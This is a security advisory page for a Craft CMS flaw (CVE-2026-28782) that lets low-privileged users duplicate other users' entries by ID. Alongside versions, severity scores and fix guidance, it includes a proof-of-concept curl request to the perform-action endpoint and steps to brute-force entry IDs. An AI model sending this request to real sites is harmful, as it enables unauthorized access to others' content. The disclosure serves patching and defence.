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GHSA-jxm3-pmm2-9gf6 CVE-2026-28782

Craft CMS has Permission Bypass and IDOR in Duplicate Entry Action

Medium Packagist
Severity
0.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.27%
Chance of exploitation in the next 30 days. Higher than 19.85% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-639 Authorization Bypass Through User-Controlled Key
Fix
5.9.0-beta.1
Upgrade craftcms/cms to this version or later

Description

Description

The "Duplicate" entry action does not properly verify if the user has permission to perform this action on the specific target elements. Even with only "View Entries" permission (where the "Duplicate" action is restricted in the UI), a user can bypass this restriction by sending a direct request.

Furthermore, this vulnerability allows duplicating other users' entries by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system.

Proof of Concept

Prerequisites

  • A user with "View Entries" permission on any section.

Steps to Reproduce

  1. Log in as a user with minimal permissions ("View Entries").
  2. Identify the target Entry ID (e.g., via brute-force 1 to N).
  3. Send the following cURL request:

    Replace craft.local, <Cookie>, <CSRF> and 6393 (which is the entry ID):

    curl --path-as-is -i -s -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF>' -H $'Content-Length: 216' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\Entry\",\"source\":\"section:17da21e5-0cfe-41f5-8cd2-450a94f7989c\",\"viewState\":{\"static\":true},\"elementAction\":\"craft\\\\elements\\\\actions\\\\Duplicate\",\"elementIds\":[6393]}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fperform-action'
    
  4. Observe that a new entry is created with the attacker as the owner, granting full access to the content.

Resources

https://github.com/craftcms/cms/commit/fb61a91357f5761c852400185ba931f51d82783d

Affected versions

Packagist

PackageVulnerableFixed in
craftcms/cms
>= 5.0.0-RC1, < 5.9.0-beta.1
5.9.0-beta.1
craftcms/cms
>= 4.0.0-RC1, < 4.17.0-beta.1
4.17.0-beta.1

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

craftcms/cms Packagist → 5.9.0-beta.1

composer
composer require craftcms/cms:^5.9.0-beta.1

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
High
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Proof of concept

CVSS 3.1 4.3

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

Weakness

CWE-639: Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

How to prevent it
  • Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
  • Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
  • Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7vrx-9684-xrf2
Craft CMS stores arbitrary content provided by unauthenticated users in session files
Medium Known exploited Also affects craftcms/cms
GHSA-f3gw-9ww9-jmc3
Craft CMS Allows Remote Code Execution
Critical Known exploited Also affects craftcms/cms
GHSA-x684-96hh-833x
Craft CMS has a potential RCE with a compromised security key
High Known exploited Also affects craftcms/cms
GHSA-2p6p-9rc9-62j9
Craft CMS has potential RCE when PHP `register_argc_argv` config setting is enabled
Critical Known exploited Also affects craftcms/cms
GHSA-wg23-69c2-gjc8
Craft CMS: Passkey login accepts replayed WebAuthn assertions
Medium Also affects craftcms/cms
GHSA-957r-qf9p-67xw
Craft CMS: Arbitrary file read via SplFileObject in non-sandboxed template contexts
Medium Also affects craftcms/cms
GHSA-596p-6jv8-775v
Craft CMS: Authenticated leak of secret environment variables
Medium Also affects craftcms/cms
GHSA-xxpx-f366-4xpq
Craft CMS: Authorization bypass: view-only Categories user can modify category structure via structures/move-element
Medium Also affects craftcms/cms
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